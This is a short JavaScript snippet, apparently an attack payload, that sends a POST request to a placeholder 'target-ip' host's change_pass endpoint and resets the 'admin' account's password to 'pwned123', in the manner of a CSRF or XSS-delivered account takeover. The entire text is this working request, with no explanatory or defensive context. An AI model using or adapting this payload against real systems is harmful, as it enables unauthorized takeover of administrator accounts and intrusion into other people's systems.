fetch('http://target-ip/change_pass', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    username: 'admin',
    newpass: 'pwned123',
    confirm: 'pwned123'
  })
})
.then(res => res.text())
.then(data => console.log('Response:', data));